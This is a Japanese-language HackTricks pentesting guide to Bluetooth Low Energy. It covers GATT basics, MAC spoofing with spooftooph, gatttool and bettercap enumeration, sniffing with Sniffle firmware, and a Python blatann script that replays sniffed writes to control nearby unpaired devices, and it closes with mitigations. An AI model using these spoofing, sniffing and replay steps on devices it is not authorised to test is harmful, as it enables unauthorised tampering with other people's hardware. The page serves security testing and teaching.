Pentesting BLE - Bluetooth Low Energy
Reading time: 12 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
はじめに
Bluetooth 4.0 仕様以降利用可能な BLE は、2400〜2483.5 MHz の範囲をカバーする 40 チャンネルのみを使用します。対照的に、従来の Bluetooth は同じ範囲で 79 チャンネルを使用します。
BLE デバイスは advertising packets(beacons)を送信して通信します。これらのパケットは近接するデバイスに BLE デバイスの存在を通知します。これらの beacons は場合によっては データを送信 することもあります。
リッスンするデバイス(central device とも呼ばれる)は、advertising packet に対して特定の advertising デバイスに送られる SCAN request で応答できます。そのスキャンへの response は、初回の advertising request に収まりきらなかった追加情報(フルデバイス名など)を含めるため、advertising パケットと同じ構造を使用します。
.png)
プレアンブルバイトは周波数を同期させ、4 バイトの access address は複数のデバイスが同じチャンネルで接続を確立しようとするシナリオで使用される connection identifier です。続いて Protocol Data Unit(PDU)には advertising data が含まれます。PDU にはいくつか種類があり、最も一般的に使われるのは ADV_NONCONN_IND と ADV_IND です。デバイスは接続を受け付けない場合、ADV_NONCONN_IND PDU タイプを使用して advertising パケット内のみでデータを送信します。デバイスが接続を許可する場合は ADV_IND を使用し、connection が 確立 されると advertising パケットの送信を停止します。
GATT
The Generic Attribute Profile (GATT) は、デバイスがデータをどのようにフォーマットし転送すべきか を定義します。BLE デバイスのアタックサーフェスを分析する際には、GATT(または複数の GATT)に注目することが多いです。なぜならそこが デバイス機能がトリガーされる場所 であり、データがどのように保存・グループ化・変更されるかを示すからです。GATT はデバイスの characteristics、descriptors、services を 16 ビットまたは 32 ビットの値としてテーブルに列挙します。characteristic は central device と peripheral 間で 送受信されるデータ の値です。これらの characteristics にはそれらについての追加情報を 提供する descriptors が付くことがあります。関連する動作を行う場合、characteristics はしばしば services に グループ化 されます。
列挙
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up
# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66
GATTool
GATTool は別のデバイスと connection を establish し、そのデバイスの characteristics を一覧表示し、attributes の読み書きができます。
GATTTool は -I オプションでインタラクティブシェルを起動できます:
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
[A4:CF:12:6C:B3:76][LE]> characteristics
handle: 0x0002, char properties: 0x20, char value handle:
0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x02, char value handle:
0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb
[...]
# Write data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-write-req <characteristic handle> -n <value>
gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps)
# Read data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-read -a 0x16
# Read connecting with an authenticated encrypted connection
gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c
Bettercap
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported
# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
Sniffing およびペアリングされていない BLE デバイスの能動的制御
多くの低価格な BLE 周辺機器は pairing/bonding を強制しません。bonding がないと Link Layer encryption は有効にならないため、ATT/GATT トラフィックは平文です。オフパスの sniffer は接続を追跡して GATT 操作をデコードし、characteristic handles と values を特定できます。近くのホストは接続してそれらの writes を再生することでデバイスを制御できます。
Sniffing with Sniffle (CC26x2/CC1352)
ハードウェア: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) に NCC Group の Sniffle firmware を再フラッシュしたもの。
Linux に Sniffle とその Wireshark extcap をインストール:
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
sudo mkdir -p /opt/sniffle
sudo chown -R $USER:$USER /opt/sniffle
pushd /opt/sniffle
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
tar xvf v1.10.0.tar.gz
# Install Wireshark extcap for user and root only
mkdir -p $HOME/.local/lib/wireshark/extcap
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
sudo mkdir -p /root/.local/lib/wireshark/extcap
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
popd
else
echo "[+] - Sniffle already installed at 1.10.0"
fi
Sniffle firmwareでSonoffをフラッシュする(シリアルデバイスが一致していることを確認してください。例: /dev/ttyUSB0):
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd
Sniffle extcap 経由で Wireshark にキャプチャし、フィルタで state-changing writes に素早く pivot します:
_ws.col.info contains "Sent Write Command"
これはクライアントからの ATT Write Commands を強調表示します。handle と value は多くの場合デバイスの動作に直接対応します(例: buzzer/alert characteristic に write 0x01、停止は 0x00)。
Sniffle CLI の簡単な例:
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
代替 sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin も動作します。小型/安価な Nordic ドングルでは通常、sniffer ファームウェアを読み込むために USB ブートローダを上書きするため、専用の sniffer ドングルを保持するか、後でブートローダを復元するために J-Link/JTAG が必要になります。
GATTによる能動的制御
sniffed traffic から writable characteristic handle と value を特定したら、任意の central として接続し、同じ write を発行します:
-
Nordic nRF Connect for Desktop (BLE app) を使用する場合:
-
nRF52/nRF52840 ドングルを選択し、スキャンしてターゲットに接続します。
-
GATT データベースを参照し、対象の characteristic を特定します(多くはフレンドリ名、例: Alert Level)。
-
sniffed bytes を使って Write を実行します(例: トリガーに 01、停止に 00)。
-
Windows 上で Nordic ドングルを使い、Python + blatann で自動化する:
import time
import blatann
# CONFIG
COM_PORT = "COM29" # Replace with your COM port
TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")
# CONNECT
ble_device = blatann.BleDevice(COM_PORT)
ble_device.configure()
ble_device.open()
print(f"[-] Connecting to {TARGET_MAC}...")
peer = ble_device.connect(target_address).wait()
if not peer:
print("[!] Connection failed.")
ble_device.close()
raise SystemExit(1)
print("Connected. Discovering services...")
peer.discover_services().wait(5, exception_on_timeout=False)
# Example: write 0x01/0x00 to a known handle
for service in peer.database.services:
for ch in service.characteristics:
if ch.handle == 0x000b: # Replace with your handle
print("[!] Beeping.")
ch.write(b"\x01")
time.sleep(2)
print("[+] And relax.")
ch.write(b"\x00")
print("[-] Disconnecting...")
peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()
運用上の注意と緩和策
- 堅牢なチャネルホッピングと接続追跡のため、Linux上の Sonoff+Sniffle を推奨する。バックアップ用に予備の Nordic sniffer を用意しておく。
- pairing/bonding がないと、近くの攻撃者は writes を観測し、それらを replay したり独自に craft して認証されていない writable characteristics に対して送信できる。
- 対策: pairing/bonding を必須にして暗号化を強制する; characteristic permissions を設定して authenticated writes を要求する; unauthenticated writable characteristics を最小化する; Sniffle/nRF Connect で GATT ACLs を検証する。
参考文献
- Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners
- Sniffle – A sniffer for Bluetooth 5 and 4.x LE
- Firmware installation for Sonoff USB Dongle (Sniffle README)
- Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)
- Nordic nRF Sniffer for Bluetooth LE
- nRF Connect for Desktop
- blatann – Python BLE library for Nordic devices
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks